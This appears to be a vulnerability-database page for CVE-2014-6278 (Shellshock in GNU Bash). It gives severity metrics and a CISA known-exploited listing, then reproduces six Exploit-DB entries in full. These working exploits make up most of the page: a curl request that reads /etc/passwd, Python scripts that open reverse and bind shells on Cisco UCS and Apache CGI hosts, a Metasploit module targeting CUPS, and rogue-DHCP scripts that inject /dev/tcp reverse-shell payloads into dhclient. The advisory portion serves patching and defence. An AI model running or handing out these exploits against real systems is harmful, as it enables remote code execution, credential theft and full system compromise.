CVE-2014-6278 : Detail

CVE-2014-6278

8.8
/
High
OS Command Injection
A03-Injection
89.93%V4
Network
2014-09-30
10h00 +00:00
2025-10-22
00h05 +00:00
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CVE Descriptions

GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : GNU Bash OS Command Injection Vulnerability

Required action : Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2025-10-01 22h00 +00:00

Action is due : 2025-10-22 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 39887

Publication date : 2016-06-05 22h00 +00:00
Author : lastc0de
EDB Verified : No

# Exploit Title: ShellShock On Sun Secure Global Desktop & Oracle Global desktop # Google Dork: intitle:Install the Sun Secure Global Desktop Native Client # Date: 6/4/2016 # Exploit Author: lastc0de@outlook.com # Vendor Homepage: http://www.sun.com/ & http://www.oracle.com/ # Software Link: http://www.oracle.com/technetwork/server-storage/securedesktop/downloads/index.html # Version: 4.61.915 # Tested on: Linux VULNERABLE FILE http://target.com//tarantella/cgi-bin/modules.cgi POC : localhost@~#curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://target.com/tarantella/cgi-bin/modules.cgi > xixixi.txt localhost@~#cat xixixi.txt which will print out the content of /etc/passwd file.
Exploit Database EDB-ID : 39568

Publication date : 2016-03-15 23h00 +00:00
Author : thatchriseckert
EDB Verified : No

#!/usr/bin/python ############################################### # Cisco UCS Manager 2.1(1b) Shellshock Exploit # # CVE-2014-6278 # Confirmed on version 2.1(1b), but more are likely vulnerable. # Cisco's advisory: # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash # Exploit generates a reverse shell to a nc listener. # Exploit Author: @thatchriseckert ############################################### import sys import requests import time if len(sys.argv) < 4: print "\n[*] Cisco UCS Manager 2.1(1b) Shellshock Exploit" print "[*] Usage: <Victim IP> <Attacking Host> <Reverse Shell Port>" print "[*]" print "[*] Example: shellshock.py 127.0.0.1 127.0.0.1 4444" print "[*] Listener: nc -lvp <port>" print "\n" sys.exit() #Disables request warning for cert validation ignore. requests.packages.urllib3.disable_warnings() ucs = sys.argv[1] url = "https://" + ucs + "/ucsm/isSamInstalled.cgi" attackhost = sys.argv[2] revshellport = sys.argv[3] headers1 = { 'User-Agent': '() { ignored;};/bin/bash -i >& /dev/tcp/' + attackhost + '/' + revshellport + ' 0>&1' } headers2 = { "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo $(</etc/passwd)' } def exploit(): try: r = requests.get(url, headers=headers1, verify=False, timeout=5) except Exception, e: if 'timeout' in str(e): print "[+] Success. Enjoy your shell..." else: print "[-] Something is wrong..." print "[-] Error: " + str(e) def main(): try: r = requests.get(url, headers=headers2, verify=False, timeout=3) if r.content.startswith('\nroot:'): print "[+] Host is vulnerable, spawning shell..." time.sleep(3) exploit() else: print "[-] Host is not vulnerable, quitting..." sys.exit() except Exception, e: print "[-] Something is wrong..." print "[-] Error: " + str(e) if __name__ == "__main__": main()
Exploit Database EDB-ID : 34900

Publication date : 2014-10-05 22h00 +00:00
Author : Federico Galatolo
EDB Verified : Yes

#!/usr/bin/env python from socket import * from threading import Thread import thread, time, httplib, urllib, sys stop = False proxyhost = "" proxyport = 0 def usage(): print """ Shellshock apache mod_cgi remote exploit Usage: ./exploit.py var=<value> Vars: rhost: victim host rport: victim port for TCP shell binding lhost: attacker host for TCP shell reversing lport: attacker port for TCP shell reversing pages: specific cgi vulnerable pages (separated by comma) proxy: host:port proxy Payloads: "reverse" (unix unversal) TCP reverse shell (Requires: rhost, lhost, lport) "bind" (uses non-bsd netcat) TCP bind shell (Requires: rhost, rport) Example: ./exploit.py payload=reverse rhost=1.2.3.4 lhost=5.6.7.8 lport=1234 ./exploit.py payload=bind rhost=1.2.3.4 rport=1234 Credits: Federico Galatolo 2014 """ sys.exit(0) def exploit(lhost,lport,rhost,rport,payload,pages): headers = {"Cookie": payload, "Referer": payload} for page in pages: if stop: return print "[-] Trying exploit on : "+page if proxyhost != "": c = httplib.HTTPConnection(proxyhost,proxyport) c.request("GET","http://"+rhost+page,headers=headers) res = c.getresponse() else: c = httplib.HTTPConnection(rhost) c.request("GET",page,headers=headers) res = c.getresponse() if res.status == 404: print "[*] 404 on : "+page time.sleep(1) args = {} for arg in sys.argv[1:]: ar = arg.split("=") args[ar[0]] = ar[1] try: args['payload'] except: usage() if args['payload'] == 'reverse': try: lhost = args['lhost'] lport = int(args['lport']) rhost = args['rhost'] payload = "() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"+lhost+"/"+str(lport)+" 0>&1 &" except: usage() elif args['payload'] == 'bind': try: rhost = args['rhost'] rport = args['rport'] payload = "() { :;}; /bin/bash -c 'nc -l -p "+rport+" -e /bin/bash &'" except: usage() else: print "[*] Unsupported payload" usage() try: pages = args['pages'].split(",") except: pages = ["/cgi-sys/entropysearch.cgi","/cgi-sys/defaultwebpage.cgi","/cgi-mod/index.cgi","/cgi-bin/test.cgi","/cgi-bin-sdb/printenv"] try: proxyhost,proxyport = args['proxy'].split(":") except: pass if args['payload'] == 'reverse': serversocket = socket(AF_INET, SOCK_STREAM) buff = 1024 addr = (lhost, lport) serversocket.bind(addr) serversocket.listen(10) print "[!] Started reverse shell handler" thread.start_new_thread(exploit,(lhost,lport,rhost,0,payload,pages,)) if args['payload'] == 'bind': serversocket = socket(AF_INET, SOCK_STREAM) addr = (rhost,int(rport)) thread.start_new_thread(exploit,("",0,rhost,rport,payload,pages,)) buff = 1024 while True: if args['payload'] == 'reverse': clientsocket, clientaddr = serversocket.accept() print "[!] Successfully exploited" print "[!] Incoming connection from "+clientaddr[0] stop = True clientsocket.settimeout(3) while True: reply = raw_input(clientaddr[0]+"> ") clientsocket.sendall(reply+"\n") try: data = clientsocket.recv(buff) print data except: pass if args['payload'] == 'bind': try: serversocket = socket(AF_INET, SOCK_STREAM) time.sleep(1) serversocket.connect(addr) print "[!] Successfully exploited" print "[!] Connected to "+rhost stop = True serversocket.settimeout(3) while True: reply = raw_input(rhost+"> ") serversocket.sendall(reply+"\n") data = serversocket.recv(buff) print data except: pass
Exploit Database EDB-ID : 35115

Publication date : 2014-10-28 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'CUPS Filter Bash Environment Variable Code Injection', 'Description' => %q{ This module exploits a post-auth code injection in specially crafted environment variables in Bash, specifically targeting CUPS filters through the PRINTER_INFO and PRINTER_LOCATION variables by default. }, 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'lcamtuf', # CVE-2014-6278 'Brendan Coles <bcoles[at]gmail.com>' # msf ], 'References' => [ ['CVE', '2014-6271'], ['CVE', '2014-6278'], ['EDB', '34765'], ['URL', 'https://access.redhat.com/articles/1200223'], ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] ], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0A\x0D", 'DisableNops' => true }, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic bash awk ruby' }, # Tested: # - CUPS version 1.4.3 on Ubuntu 10.04 (x86) # - CUPS version 1.5.3 on Debian 7 (x64) # - CUPS version 1.6.2 on Fedora 19 (x64) # - CUPS version 1.7.2 on Ubuntu 14.04 (x64) 'Targets' => [[ 'Automatic Targeting', { 'auto' => true } ]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 24 2014', 'License' => MSF_LICENSE )) register_options([ Opt::RPORT(631), OptBool.new('SSL', [ true, 'Use SSL', true ]), OptString.new('USERNAME', [ true, 'CUPS username', 'root']), OptString.new('PASSWORD', [ true, 'CUPS user password', '']), OptEnum.new('CVE', [ true, 'CVE to exploit', 'CVE-2014-6271', ['CVE-2014-6271', 'CVE-2014-6278'] ]), OptString.new('RPATH', [ true, 'Target PATH for binaries', '/bin' ]) ], self.class) end # # CVE-2014-6271 # def cve_2014_6271(cmd) %{() { :;}; $(#{cmd}) & } end # # CVE-2014-6278 # def cve_2014_6278(cmd) %{() { _; } >_[$($())] { echo -e "\r\n$(#{cmd})\r\n" ; }} end # # Check credentials # def check @cookie = rand_text_alphanumeric(16) printer_name = rand_text_alphanumeric(10 + rand(5)) res = add_printer(printer_name, '') if !res vprint_error("#{peer} - No response from host") return Exploit::CheckCode::Unknown elsif res.headers['Server'] =~ /CUPS\/([\d\.]+)/ vprint_status("#{peer} - Found CUPS version #{$1}") else print_status("#{peer} - Target is not a CUPS web server") return Exploit::CheckCode::Safe end if res.body =~ /Set Default Options for #{printer_name}/ vprint_good("#{peer} - Added printer successfully") delete_printer(printer_name) elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) vprint_error("#{peer} - Authentication failed") elsif res.code == 426 vprint_error("#{peer} - SSL required - set SSL true") end Exploit::CheckCode::Detected end # # Exploit # def exploit @cookie = rand_text_alphanumeric(16) printer_name = rand_text_alphanumeric(10 + rand(5)) # Select target CVE case datastore['CVE'] when 'CVE-2014-6278' cmd = cve_2014_6278(payload.raw) else cmd = cve_2014_6271(payload.raw) end # Add a printer containing the payload # with a CUPS filter pointing to /bin/bash res = add_printer(printer_name, cmd) if !res fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") elsif res.body =~ /Set Default Options for #{printer_name}/ print_good("#{peer} - Added printer successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") else fail_with(Failure::Unknown, "#{peer} - Could not add printer.") end # Add a test page to the print queue. # The print job triggers execution of the bash filter # which executes the payload in the environment variables. res = print_test_page(printer_name) if !res fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") elsif res.body =~ /Test page sent; job ID is/ vprint_good("#{peer} - Added test page to printer queue") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") else fail_with(Failure::Unknown, "#{peer} - Could not add test page to print queue.") end # Delete the printer res = delete_printer(printer_name) if !res fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") elsif res.body =~ /has been deleted successfully/ print_status("#{peer} - Deleted printer '#{printer_name}' successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL'] == true) vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - Authentication failed.") elsif res.code == 426 vprint_warning("#{peer} - Could not delete printer '#{printer_name}' - SSL required - set SSL true.") else vprint_warning("#{peer} - Could not delete printer '#{printer_name}'") end end # # Add a printer to CUPS # def add_printer(printer_name, cmd) vprint_status("#{peer} - Adding new printer '#{printer_name}'") ppd_name = "#{rand_text_alphanumeric(10 + rand(5))}.ppd" ppd_file = <<-EOF *PPD-Adobe: "4.3" *%==== General Information Keywords ======================== *FormatVersion: "4.3" *FileVersion: "1.00" *LanguageVersion: English *LanguageEncoding: ISOLatin1 *PCFileName: "#{ppd_name}" *Manufacturer: "Brother" *Product: "(Brother MFC-3820CN)" *1284DeviceID: "MFG:Brother;MDL:MFC-3820CN" *cupsVersion: 1.1 *cupsManualCopies: False *cupsFilter: "application/vnd.cups-postscript 0 #{datastore['RPATH']}/bash" *cupsModelNumber: #{rand(10) + 1} *ModelName: "Brother MFC-3820CN" *ShortNickName: "Brother MFC-3820CN" *NickName: "Brother MFC-3820CN CUPS v1.1" *% *%==== Basic Device Capabilities ============= *LanguageLevel: "3" *ColorDevice: True *DefaultColorSpace: RGB *FileSystem: False *Throughput: "12" *LandscapeOrientation: Plus90 *VariablePaperSize: False *TTRasterizer: Type42 *FreeVM: "1700000" *DefaultOutputOrder: Reverse *%==== Media Selection ====================== *OpenUI *PageSize/Media Size: PickOne *OrderDependency: 18 AnySetup *PageSize *DefaultPageSize: BrLetter *PageSize BrA4/A4: "<</PageSize[595 842]/ImagingBBox null>>setpagedevice" *PageSize BrLetter/Letter: "<</PageSize[612 792]/ImagingBBox null>>setpagedevice" EOF pd = Rex::MIME::Message.new pd.add_part(ppd_file, 'application/octet-stream', nil, %(form-data; name="PPD_FILE"; filename="#{ppd_name}")) pd.add_part("#{@cookie}", nil, nil, %(form-data; name="org.cups.sid")) pd.add_part("add-printer", nil, nil, %(form-data; name="OP")) pd.add_part("#{printer_name}", nil, nil, %(form-data; name="PRINTER_NAME")) pd.add_part("", nil, nil, %(form-data; name="PRINTER_INFO")) # injectable pd.add_part("#{cmd}", nil, nil, %(form-data; name="PRINTER_LOCATION")) # injectable pd.add_part("file:///dev/null", nil, nil, %(form-data; name="DEVICE_URI")) data = pd.to_s data.strip! send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'ctype' => "multipart/form-data; boundary=#{pd.bound}", 'data' => data, 'cookie' => "org.cups.sid=#{@cookie};", 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) ) end # # Queue a printer test page # def print_test_page(printer_name) vprint_status("#{peer} - Adding test page to printer queue") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'printers', printer_name), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, 'OP' => 'print-test-page' } ) end # # Delete a printer # def delete_printer(printer_name) vprint_status("#{peer} - Deleting printer '#{printer_name}'") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'cookie' => "org.cups.sid=#{@cookie}", 'vars_post' => { 'org.cups.sid' => @cookie, 'OP' => 'delete-printer', 'printer_name' => printer_name, 'confirm' => 'Delete Printer' } ) end end
Exploit Database EDB-ID : 36933

Publication date : 2014-09-28 22h00 +00:00
Author : fdiskyou
EDB Verified : Yes

#!/usr/bin/python # Exploit Title: ShellShock dhclient Bash Environment Variable Command Injection PoC # Date: 2014-09-29 # Author: @fdiskyou # e-mail: rui at deniable.org # Version: 4.1 # Tested on: Debian, Ubuntu, Kali # CVE: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187 from scapy.all import * conf.checkIPaddr = False fam,hw = get_if_raw_hwaddr(conf.iface) victim_assign_ip = "10.0.1.100" server_ip = "10.0.1.2" gateway_ip = "10.0.1.2" subnet_mask = "255.255.255.0" dns_ip = "8.8.8.8" spoofed_mac = "00:50:56:c0:00:01" payload = "() { ignored;}; echo 'moo'" payload_2 = "() { ignored;}; /bin/nc -e /bin/bash localhost 7777" payload_3 = "() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4444 0>&1 &" payload_4 = "() { ignored;}; /bin/cat /etc/passwd" payload_5 = "() { ignored;}; /usr/bin/wget http://google.com" rce = payload_5 def toMAC(strMac): cmList = strMac.split(":") hCMList = [] for iter1 in cmList: hCMList.append(int(iter1, 16)) hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) return hMAC def detect_dhcp(pkt): # print 'Process ', ls(pkt) if DHCP in pkt: # if DHCP Discover then DHCP Offer if pkt[DHCP].options[0][1]==1: clientMAC = pkt[Ether].src print "DHCP Discover packet detected from " + clientMAC sendp( Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff:ff")/ IP(src=server_ip,dst="255.255.255.255")/ UDP(sport=67,dport=68)/ BOOTP( op=2, yiaddr=victim_assign_ip, siaddr=server_ip, giaddr=gateway_ip, chaddr=toMAC(clientMAC), xid=pkt[BOOTP].xid, sname=server_ip )/ DHCP(options=[('message-type','offer')])/ DHCP(options=[('subnet_mask',subnet_mask)])/ DHCP(options=[('name_server',dns_ip)])/ DHCP(options=[('lease_time',43200)])/ DHCP(options=[('router',gateway_ip)])/ DHCP(options=[('dump_path',rce)])/ DHCP(options=[('server_id',server_ip),('end')]), iface="vmnet1" ) print "DHCP Offer packet sent" # if DHCP Request than DHCP ACK if pkt[DHCP] and pkt[DHCP].options[0][1] == 3: clientMAC = pkt[Ether].src print "DHCP Request packet detected from " + clientMAC sendp( Ether(src=spoofed_mac,dst="ff:ff:ff:ff:ff:ff")/ IP(src=server_ip,dst="255.255.255.255")/ UDP(sport=67,dport=68)/ BOOTP( op=2, yiaddr=victim_assign_ip, siaddr=server_ip, giaddr=gateway_ip, chaddr=toMAC(clientMAC), xid=pkt[BOOTP].xid )/ DHCP(options=[('message-type','ack')])/ DHCP(options=[('subnet_mask',subnet_mask)])/ DHCP(options=[('lease_time',43200)])/ DHCP(options=[('router',gateway_ip)])/ DHCP(options=[('name_server',dns_ip)])/ DHCP(options=[('dump_path',rce)])/ DHCP(options=[('server_id',server_ip),('end')]), iface="vmnet1" ) print "DHCP Ack packet sent" def main(): #sniff DHCP requests sniff(filter="udp and (port 67 or 68)", prn=detect_dhcp, iface="vmnet1") if __name__ == '__main__': sys.exit(main())
Exploit Database EDB-ID : 34860

Publication date : 2014-10-01 22h00 +00:00
Author : @0x00string
EDB Verified : No

#!/usr/bin/python # Exploit Title: dhclient shellshocker # Google Dork: n/a # Date: 10/1/14 # Exploit Author: @0x00string # Vendor Homepage: gnu.org # Software Link: http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz # Version: 4.3.11 # Tested on: Ubuntu 14.04.1 # CVE : CVE-2014-6277,CVE-2014-6278,CVE-2014-7169,CVE-2014-7186,CVE-2014-7187 # ______ ______ ______ _ # / __ | / __ |/ __ | _ (_) #| | //| |_ _| | //| | | //| | ___| |_ ____ _ ____ ____ ___ #| |// | ( \ / ) |// | | |// | |/___) _) / ___) | _ \ / _ |/___) #| /__| |) X (| /__| | /__| |___ | |__| | | | | | ( ( | |___ | # \_____/(_/ \_)\_____/ \_____/(___/ \___)_| |_|_| |_|\_|| (___/ # (_____| # _ _ _ _ # | | | | (_) _ # _ | | | _ ____| |_ ____ ____ | |_ # / || | || \ / ___) | |/ _ ) _ \| _) #( (_| | | | ( (___| | ( (/ /| | | | |__ # \____|_| |_|\____)_|_|\____)_| |_|\___) # # _ _ _ _ _ # | | | | | | | | | # ___| | _ ____| | | ___| | _ ___ ____| | _ ____ ____ # /___) || \ / _ ) | |/___) || \ / _ \ / ___) | / ) _ )/ ___) #|___ | | | ( (/ /| | |___ | | | | |_| ( (___| |< ( (/ /| | #(___/|_| |_|\____)_|_(___/|_| |_|\___/ \____)_| \_)____)_| # this buddy listens for clients performing a DISCOVER, a later version will exploit periodic REQUESTs, which can sometimes be prompted by causing IP conflicts # once a broadcast DISCOVER packet has been detected, the XID, MAC and requested IP are pulled from the pack and a corresponding OFFER and ACK are generated and pushed out # The client is expected to reject the offer in preference of their known DHCP server, but will still process the packet, triggering the vulnerability. # can use option 114, 56 or 61, though is hardcoded to use 114 as this is merely a quick and dirty example. import socket, struct def HexToByte( hexStr ): b = [] h = ''.join( h.split(" ") ) for i in range(0, len(h), 2): b.append( chr( int (h[i:i+2], 16 ) ) ) return ''.join( b ) rport = 68 lport = 67 bsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bsock.bind(("<broadcast>", lport)) while True: OP = "72" # 56, Message - RFC 1533,2132. 61, Client-identifier - RFC 1533,2132,4361 or 114, URL - RFC 3679 are currently known to work, here we use 114 URL = "() { :;}; bash -i >& /dev/tcp/10.0.0.1/1337 0>&1".encode("hex") URLLEN = chr(len(URL) / 2).encode("hex") END = "03040a000001ff" broadcast_get, (bcrhost, rport) = bsock.recvfrom(2048) hexip = broadcast_get[245:249] rhost = str(ord(hexip[0])) + "." + str(ord(hexip[1])) + "." + str(ord(hexip[2])) + "." + str(ord(hexip[3])) XID = broadcast_get[4:8].encode("hex") chaddr = broadcast_get[29:34].encode("hex") print "[+]\tgot broadcast with XID " + XID + " requesting IP " + rhost + "\n" OFFER = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010236040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END OFFER_BYTES = HexToByte(OFFER) ACK = "02010600" + XID + "00000000000000000a0000430a0000010000000000" + chaddr + "000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006382536335010536040a000001330400000e103a04000007083b0400000c4e0104ffffff001c040a0000ff06040a0000010f034c4f4c0c076578616d706c65" + OP + URLLEN + URL + END ACK_BYTES = HexToByte(ACK) print "[+]\tsending evil offer\n" sock.sendto(OFFER_BYTES, (rhost, rport)) broadcast_get2 = bsock.recvfrom(2048) print "[+]\tassuming request was received, sending ACK\n" sock.sendto(ACK_BYTES, (rhost, rport))

Products Mentioned

Configuraton 0

Gnu>>Bash >> Version 1.14.0

Gnu>>Bash >> Version 1.14.1

Gnu>>Bash >> Version 1.14.2

Gnu>>Bash >> Version 1.14.3

Gnu>>Bash >> Version 1.14.4

Gnu>>Bash >> Version 1.14.5

Gnu>>Bash >> Version 1.14.6

Gnu>>Bash >> Version 1.14.7

Gnu>>Bash >> Version 2.0

Gnu>>Bash >> Version 2.01

Gnu>>Bash >> Version 2.01.1

Gnu>>Bash >> Version 2.02

Gnu>>Bash >> Version 2.02.1

Gnu>>Bash >> Version 2.03

Gnu>>Bash >> Version 2.04

Gnu>>Bash >> Version 2.05

Gnu>>Bash >> Version 2.05

Gnu>>Bash >> Version 2.05

Gnu>>Bash >> Version 3.0

Gnu>>Bash >> Version 3.0.16

Gnu>>Bash >> Version 3.1

Gnu>>Bash >> Version 3.2

Gnu>>Bash >> Version 3.2.48

Gnu>>Bash >> Version 4.0

Gnu>>Bash >> Version 4.0

Gnu>>Bash >> Version 4.1

Gnu>>Bash >> Version 4.2

Gnu>>Bash >> Version 4.3

References

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Tags : vendor-advisory, x_refsource_HP
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Tags : third-party-advisory, x_refsource_SECUNIA
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Tags : vendor-advisory, x_refsource_HP
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Tags : vendor-advisory, x_refsource_HP
http://marc.info/?l=bugtraq&m=142118135300698&w=2
Tags : vendor-advisory, x_refsource_HP
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Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/61857
Tags : third-party-advisory, x_refsource_SECUNIA